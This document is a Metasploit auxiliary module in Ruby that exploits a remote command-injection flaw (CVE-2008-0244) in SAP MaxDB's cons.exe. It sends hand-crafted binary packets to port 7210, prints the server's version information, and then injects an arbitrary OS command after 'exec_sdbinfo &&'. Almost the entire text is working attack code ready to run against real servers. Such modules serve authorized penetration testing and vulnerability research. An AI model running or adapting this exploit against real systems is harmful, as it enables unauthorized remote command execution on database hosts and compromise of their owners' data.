SAP MaxDB Cons.exe Remote Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SAP MaxDB cons.exe Remote Command Injection',  
'Description' => %q{  
SAP MaxDB is prone to a remote command-injection vulnerability  
because the application fails to properly sanitize user-supplied input.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['OSVDB', '40210' ],  
['BID', '27206'],  
['CVE', '2008-0244'],  
],  
'DisclosureDate' => '2008-01-09'))  
  
register_options(  
[  
Opt::RPORT(7210),  
OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),  
])  
end  
  
def run  
connect  
  
# Grab the MaxDB info.  
pdbmsrv = "\x5A\x00\x00\x00\x03\x5B\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF"  
pdbmsrv << "\x00\x00\x04\x00\x5A\x00\x00\x00\x00\x02\x42\x00\x04\x09\x00\x00"  
pdbmsrv << "\x00\x40\x00\x00\xD0\x3F\x00\x00\x00\x40\x00\x00\x70\x00\x00\x00"  
pdbmsrv << "\x00\x07\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00"  
pdbmsrv << "\x07\x49\x33\x34\x33\x32\x00\x04\x50\x1C\x2A\x03\x52\x01\x03\x72"  
pdbmsrv << "\x01\x09\x70\x64\x62\x6D\x73\x72\x76\x00"  
  
db_version = "\x28\x00\x00\x00\x03\x3f\x00\x00\x01\x00\x00\x00\xc0\x0b\x00\x00"  
db_version << "\x00\x00\x04\x00\x28\x00\x00\x00\x64\x62\x6d\x5f\x76\x65\x72\x73"  
db_version << "\x69\x6f\x6e\x20\x20\x20\x20\x20"  
  
sock.put(pdbmsrv)  
sock.get_once  
sock.put(db_version)  
  
ver = sock.get_once || ''  
  
info = ver[27,2000]  
if (info.length > 0)  
print_status(info)  
end  
  
# Send our command.  
len = 39 + datastore['CMD'].length  
  
data = len.chr + "\x00\x00\x00\x03\x3F\x00\x00\x01\x00\x00\x00\x54\x0D\x00\x00"  
data << "\x00\x00\x04\x00" + len.chr + "\x00\x00\x00\x65\x78\x65\x63\x5F\x73\x64"  
data << "\x62\x69\x6E\x66\x6F\x20\x26\x26" + "#{datastore['CMD']}"  
  
sock.put(data)  
  
res = sock.get_once  
print_line(res)  
  
disconnect  
  
end  
end  
`